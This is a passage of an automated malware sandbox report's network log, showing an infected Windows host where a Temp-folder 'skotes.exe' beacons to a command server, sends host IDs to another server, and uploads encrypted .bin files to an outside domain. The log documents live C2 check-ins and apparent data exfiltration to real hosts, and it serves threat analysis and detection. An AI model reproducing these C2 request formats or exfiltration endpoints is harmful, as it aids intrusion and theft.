Dec 16, 2024 15:04:37.854922056 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63456 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:04:38.757344007 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:04:39.073601961 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63457 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:04:49.163609028 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 16, 2024 15:04:59.477523088 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50153	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:40.376934052 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016137001&unit=246122658369
Dec 16, 2024 15:03:41.721522093 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50155	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:43.464899063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:03:44.855166912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	50156	138.124.34.218	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:44.032130957 CET	640	OUT	POST /v1/upload.php HTTP/1.1 Host: twentygr20sb.top Accept: / Content-Length: 458 Content-Type: multipart/form-data; boundary=------------------------Zyo8sUFPMtuDPsixsGYIiv Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 5a 79 6f 38 73 55 46 50 4d 74 75 44 50 73 69 78 73 47 59 49 69 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 65 7a 75 68 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 25 c7 c3 7e 0f 67 27 e0 49 61 ff 34 66 6e 57 bb dc 74 d5 9f 9b cd 0b 68 3b 00 71 d4 62 b1 aa 66 4b 73 aa 8a fd 43 a2 27 70 c8 c0 34 32 33 f4 b7 68 64 e4 12 ae 49 f3 79 8f 92 06 d6 e8 76 9d 90 30 6e 3a ee 5a b5 ff 73 da b5 59 49 07 35 8a 3f c2 e7 ae cb 4f 77 ea 62 a2 ec d5 2f 63 e7 5c aa 27 6d 5f 69 d6 78 bf 9f f5 48 52 d1 18 77 f2 c8 3e 28 24 7f 0e 08 0f 23 90 e3 8d bb 19 1b f4 1e 50 e8 1e 5d 47 8a dc 7c 52 b9 3b 1e 85 70 bc 5f 99 1d 4c 94 c6 65 3c fc 2e d0 b8 64 05 5b b8 53 ae a2 e1 90 03 eb 5a e3 e0 43 ae 1e 69 75 dd 89 49 bc [TRUNCATED] Data Ascii: --------------------------Zyo8sUFPMtuDPsixsGYIivContent-Disposition: form-data; name="file"; filename="Wezuho.bin"Content-Type: application/octet-stream%~g'Ia4fnWth;qbfKsC'p423hdIyv0n:ZsYI5?Owb/c\'m_ixHRw>($#P]G\|R;p_Le<.d[SZCiuIbL6dsC-%F15 \|J]qZ`G"z5b5"--------------------------Zyo8sUFPMtuDPsixsGYIiv--
Dec 16, 2024 15:03:45.458462000 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 14:03:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 29 X-RateLimit-Reset: 1734359626 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	50158	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:46.245251894 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 15:03:47.596519947 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:03:47.602201939 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBFBGDGHIIJJKEBKJDB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="build"stok------KEBFBGDGHIIJJKEBKJDB--
Dec 16, 2024 15:03:48.043026924 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50159	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:46.501545906 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 16, 2024 15:03:47.877183914 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	50160	138.124.34.218	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:46.812915087 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentygr20sb.top Accept: / Content-Length: 58428 Content-Type: multipart/form-data; boundary=------------------------1bdbsKdBo3wuJTJ4UTCpTy Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 62 64 62 73 4b 64 42 6f 33 77 75 4a 54 4a 34 55 54 43 70 54 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 61 71 61 72 6f 72 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 3b 62 c7 1b 73 ee f8 6c 25 26 0e e3 3a ad c7 2f 8a b6 7f 0a 65 35 5d 0d d4 6d 20 cc 35 05 d3 02 4d 48 4e 15 fc 1c 97 11 68 62 a4 c0 c1 ce bd 16 f4 9b 7e 66 c8 9c 62 44 b6 0d ab 88 cc 39 5c db ef e7 e9 d9 0d 5e ba 2f 5c 73 47 22 2c cd 22 73 a2 bc d2 18 d3 01 a0 62 d5 95 4d dd d3 90 c1 6c 1a 19 9d ec a1 2d 18 c9 dc 88 55 e5 ce 9a be 75 3e 98 07 4e 41 7b 11 2e 1a 9f 44 26 ca 63 52 09 a3 26 8a c2 35 59 5d 54 9a 53 54 98 29 c3 e0 7d fd 55 45 08 79 2a 0a 20 4e 51 99 39 61 2b 37 ba cd 1e 8e 5b 77 a8 67 67 1e 6a 28 8c 72 48 98 e6 [TRUNCATED] Data Ascii: --------------------------1bdbsKdBo3wuJTJ4UTCpTyContent-Disposition: form-data; name="file"; filename="Kaqarora.bin"Content-Type: application/octet-stream;bsl%&:/e5]m 5MHNhb~fbD9\^/\sG","sbMl-Uu>NA{.D&cR&5Y]TST)}UEy* NQ9a+7[wggj(rH@DTW[\|psJx8<+F0F;V+\P[\|&R8lrk%M/hh%5Ae"!v]<O7';Djg@(xtE7Y4PhS.f]1._ hRwt^E<VKg3]I"\;g=083u,(@Dk4=gbiwud%FR!Yok[>RfmML?L5F!QBeRF <@"Y(\|'F^.'7X:0z\;sJ?J0h=I//]Q5tAk6?o:^TEJ<;tz)-~s[BrI>>e5;tw6cM!Sm}"}NR->Eg47+,XOFKvM38wax8K_1B7_[7-R]hz0T}*g+z [TRUNCATED]
Dec 16, 2024 15:03:46.933119059 CET	9888	OUT	Data Raw: 25 0d 5d e1 c0 e6 39 50 4e 85 aa 8b 59 6a 3d fe 08 c2 b1 70 1e 63 29 6a 04 cb 8e d7 e4 a2 1a 50 68 75 cd f8 10 26 c2 7e 2e e2 0e 02 ea 9b 8b 2c 02 2b 36 97 cd d2 04 41 83 5f dd 46 1b 2b 5b d3 86 bb 01 d3 31 55 79 f7 f0 9b b1 5e 3f 3b 00 ba c4 8d Data Ascii: %]9PNYj=pc)jPhu&~.,+6A_F+[1Uy^?;=!}ent5Q;zaC]lnE-`L+fLrVvpjS,B{696*-<GQh{cg5cW_riGiB[zvDK!~='G
Dec 16, 2024 15:03:46.933177948 CET	2472	OUT	Data Raw: cc 78 43 7f 5a 3c fd 77 e0 9c 05 c8 f4 16 52 b8 f4 ba d9 ec dc 4f 13 98 61 79 16 d2 86 10 b9 dc 72 8d 01 5f 0b 28 f0 64 21 98 e2 ac f9 27 ed 33 85 fb 83 f2 58 9b ab 18 d7 77 ad ce bb f9 ff 12 9e 1a 1a 4b 34 ab 6d c8 e3 8c 49 4b a9 e0 e0 d7 58 8d Data Ascii: xCZ<wROayr_(d!'3XwK4mIKXuah^oZQ~!2I!]Vny^?yJp7Dfj/7~h/'BT;4uzjk'Y0#x7GKQ(d4<-TW
Dec 16, 2024 15:03:46.933223963 CET	2472	OUT	Data Raw: 44 4d ef ce 29 72 53 ca 4d 74 9d 68 cf df 78 ea 65 5b 29 fd 28 40 c3 fc 95 b8 02 7e 91 36 a2 c6 84 19 b3 65 e8 7d 90 0e 38 ba 68 5e df 3d e2 4e 3f 8f 00 7c 64 7d b4 5c b8 5b d0 14 6b 2a 43 16 83 02 9a 21 42 40 c3 3c 9a fc 08 07 5b 53 70 ab 1c 7c Data Ascii: DM)rSMthxe[)(@~6e}8h^=N?\|d}\[kC!B@<[Sp\|cqAAA'+Ykw'V`y"xd}DbqD%ScXz8O+Il@(F}\4U%F.\=kE0[~?6~h+fqt'f&82b
Dec 16, 2024 15:03:46.933315992 CET	4944	OUT	Data Raw: d1 c8 f6 f8 f5 de e6 91 9a 96 ce 79 6f 10 df 98 03 9c 63 36 64 07 60 9d e3 05 65 bd 92 87 b0 eb ca cb 4a bc ef cf 73 01 da d0 99 55 da 99 ae 17 e1 b8 56 7b b7 1f 31 4f 95 29 e0 dd b6 87 ee 5b e7 ca 78 a9 94 32 29 83 0c 30 9a 48 e6 d1 a0 87 b5 8c Data Ascii: yoc6d`eJsUV{1O)[x2)0H%HXscin;u<g8Ow]85`gN`Eez[1mKZ![\|L#@C`"49G'{89`68elAHbh7"sF
Dec 16, 2024 15:03:46.933573008 CET	4944	OUT	Data Raw: 61 92 fa 20 ca 68 17 00 f1 08 ad 10 3b 85 f0 bc e4 e4 c4 af 2a bb 37 e5 36 ee 28 ac a1 b7 6b 96 d0 0e e8 19 ad 68 7c 9a ec 9b 01 66 66 cc 0f 4a 25 d1 64 36 e0 5b 61 bb e3 49 1d ac 6c 31 a1 91 f1 2d 21 4c 60 ee dd 35 fe b5 07 6d 41 9f 0c bc 65 c4 Data Ascii: a h;*76(kh\|ffJ%d6[aIl1-!L`5mAe'_P+//oFS(Yd%9Wk://jC'_Ai]&=_}gAS9$vcKP=FJ(+PNkTvB
Dec 16, 2024 15:03:47.054027081 CET	12360	OUT	Data Raw: 9a 91 a7 87 36 d5 51 18 04 94 79 43 22 0b 75 8e dc 75 6d 4c b4 2e 0d 7c 00 da c1 48 a6 fb 52 14 ef 06 87 0b 13 dc 2a cb ca 3a 49 94 d4 d9 eb bb ca 40 1b ff 25 e2 a7 a9 c8 e9 d6 c4 ab b9 ef 45 65 fb ae 5b 84 ff a2 67 72 05 76 5a 2e a8 95 48 9b 49 Data Ascii: 6QyC"uumL.\|HR:I@%Ee[grvZ.HI+3,]L^)VCEGTXICV_=Cze%e&B%lp~r7tv-\|x9Z$~+pg'C@jPciG~s+:
Dec 16, 2024 15:03:47.055013895 CET	2472	OUT	Data Raw: 4a 6a 4b 51 b9 c3 f1 5d 01 29 20 ec 84 19 41 ed 84 5a 64 6e 1a e0 a7 d3 38 5d 90 0c 09 b2 c0 a2 23 f9 e6 ff 85 5b cd 71 67 ea 22 5a c8 2f 7f 3d 37 2d c4 42 0b 39 a9 f9 98 f2 80 58 f1 a7 d0 c3 b8 40 d1 dc 21 5a 95 e8 1d b5 6b 15 21 02 f6 65 fd af Data Ascii: JjKQ]) AZdn8]#[qg"Z/=7-B9X@!Zk!e!/5X068^(;-n{I)_:>;U'R#LvdP":(5h8@V>d1n9;6}_Cfsfocny=)hO]5$YP
Dec 16, 2024 15:03:47.096277952 CET	6700	OUT	Data Raw: f4 16 93 6c 00 47 17 ea 0f ce 7d ba d5 fa 4e d3 c8 ac c8 74 29 d8 bc 4e 25 c1 d9 c2 49 06 01 c6 84 70 e1 32 df 19 23 b6 e9 62 9a a4 58 cf 0f d1 9c d5 dd 5c 2b c1 2d 28 3a 38 58 57 61 b7 c9 43 9a b8 1b 17 9d 7d 4d 3c 16 ee 29 80 b4 a2 a0 61 21 83 Data Ascii: lG}Nt)N%Ip2#bX\+-(:8XWaC}M<)a!3{\|9=Ax5-lPr.C[]?t.D\|,[vIkhdF-.^PfBbs--Rb!NE5B:V#9^&5"(jt_^zO\
Dec 16, 2024 15:03:48.543802977 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 14:03:48 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 28 X-RateLimit-Reset: 1734359626 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50161	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:49.833842993 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:03:51.179636955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50172	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:52.810139894 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 16, 2024 15:03:54.156029940 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	50173	138.124.34.218	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:54.751694918 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentygr20sb.top Accept: / Content-Length: 28687 Content-Type: multipart/form-data; boundary=------------------------jEpxWWk645OJHBQe9ElJMe Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6a 45 70 78 57 57 6b 36 34 35 4f 4a 48 42 51 65 39 45 6c 4a 4d 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 6f 72 69 6c 75 71 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 2c 2c 5d 2a 49 d9 1f 2b 12 10 41 34 b2 42 df 9f 59 ce 1f 9c ae de 01 1a 77 95 18 f1 96 b4 6a e0 4d 60 14 68 f1 ac df 91 61 e0 e9 37 c5 38 29 3c a6 35 05 20 ed 05 55 15 0b f4 84 14 0d 6e 99 04 e2 07 60 b7 b1 5d a1 2a f7 b2 d0 71 78 e3 2e e3 bc 04 1a 50 ea 0a bc 12 71 71 09 0d e4 af 3a 1c 76 28 28 32 76 3c 36 26 af d5 9c da be e1 f7 99 d1 e5 19 00 9a 89 09 1a c1 ff 71 ee 35 2e f3 78 11 4e 30 80 1d bd bf 06 de 54 56 21 c5 8e 96 ca f4 d2 81 b9 46 83 fb 3f 56 5a 49 cd 42 af bb d8 58 eb 29 35 a5 84 fb 20 cb 96 99 bb 84 1e 54 a8 77 [TRUNCATED] Data Ascii: --------------------------jEpxWWk645OJHBQe9ElJMeContent-Disposition: form-data; name="file"; filename="Noriluq.bin"Content-Type: application/octet-stream,,]I+A4BYwjM`ha78)<5 Un`]qx.Pqq:v((2v<6&q5.xN0TV!F?VZIBX)5 Tw{U3(pnr"3hBF3ynD2i{acVp=N,C:Uo$''CAnOU!%Y^\|PzVih3>QE<0U0fNzp'<wv/Sa!!.==).G)%qJ.nlQzQ8L>gGTQh^"1F9#hg)zr/b$M\Pu!8@f@3\4&yl3<u@4(%t[rB'3yJvchEJ5V7i3p.FvSF'}7!jI_/<5`Ee~ )LKnbKGkhTBgbXEO}P2a9\|0<dqAf 'vg1c#>Ap#^fqEF ;b=]m73:c/3[E@%+lNvHg{<# [TRUNCATED]
Dec 16, 2024 15:03:54.871679068 CET	2472	OUT	Data Raw: c0 2e 4a 29 12 de 50 09 28 3d 55 e5 14 ac fa 83 f9 96 c2 9e d4 74 ec a2 fd ee 8a 55 fa ef 1c 42 09 08 56 5a 39 f4 05 8a b9 47 4f 9b 96 84 79 0a 3f 51 b9 5d 39 ec d9 dc 30 a4 f9 3b c7 47 e3 04 14 14 a7 89 8e 52 c2 2a 63 13 b5 63 a6 b4 f7 85 af 6f Data Ascii: .J)P(=UtUBVZ9GOy?Q]90;GR*ccoK&=9>3m(</=;Y`HDf;pgn=DfBqHa\|(/%9]\|D!My[=#[)_g:\Dz,
Dec 16, 2024 15:03:54.871901989 CET	12360	OUT	Data Raw: 09 26 55 fd dd 3f 2f a2 e1 02 30 2b d4 cb 74 f0 34 a7 e6 c9 04 65 aa 67 71 0b 3a 5f 17 fd 19 f7 02 cc b9 1c 19 e1 10 06 5a 04 5e b9 d3 f6 b3 7d 79 e2 4d ec b0 25 5b c1 d3 25 35 f7 4b 43 eb d7 ba c0 13 b4 d2 1c e0 4c ce 98 6d e9 dc 87 bd d5 66 53 Data Ascii: &U?/0+t4egq:_Z^}yM%[%5KCLmfSh8]'n$/9 d~@8\|<^".p ")z/Q@7u^i7VdVA8MCc/yd`oqD(\|H}wi+)-b>gD22qnU
Dec 16, 2024 15:03:54.871973991 CET	1679	OUT	Data Raw: 6a d2 1b 40 87 04 4d 84 cd e2 05 ee 77 9a 2f 17 ed f9 0a c0 d1 2a 6e 02 c0 42 28 ac 86 97 d8 90 36 00 94 c7 bf 17 d6 7e 8e 88 b6 2f b2 04 ba d9 3b d8 14 51 ae 10 7f 52 cb a0 55 bf d7 fc 93 d1 8f 20 d9 3e 11 23 48 a0 30 cb 49 56 5b 6e c1 fe c8 c9 Data Ascii: j@Mw/*nB(6~/;QRU >#H0IV[nquPANCB?tY[dS!.{D)?ZgupjU-9E;Zv-D##=qy;dwI)xJ'egQHbjNPVr5'\}
Dec 16, 2024 15:03:56.342120886 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 14:03:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 27 X-RateLimit-Reset: 1734359626 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50174	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:55.910083055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:03:57.242240906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	50175	138.124.34.218	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:57.627250910 CET	199	OUT	POST /kNcZsqQOSglxukmuLodY1734167391 HTTP/1.1 Host: home.twentygr20sb.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 73 79 70 45 61 32 79 67 50 59 59 41 35 54 74 33 31 37 33 34 33 35 37 37 39 38 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "sypEa2ygPYYA5Tt31734357798", "data": "Done2" }
Dec 16, 2024 15:03:59.109658957 CET	160	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 16 Dec 2024 14:03:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 4 Connection: close Data Raw: 6f 6b 61 79 Data Ascii: okay

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50176	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:58.869438887 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
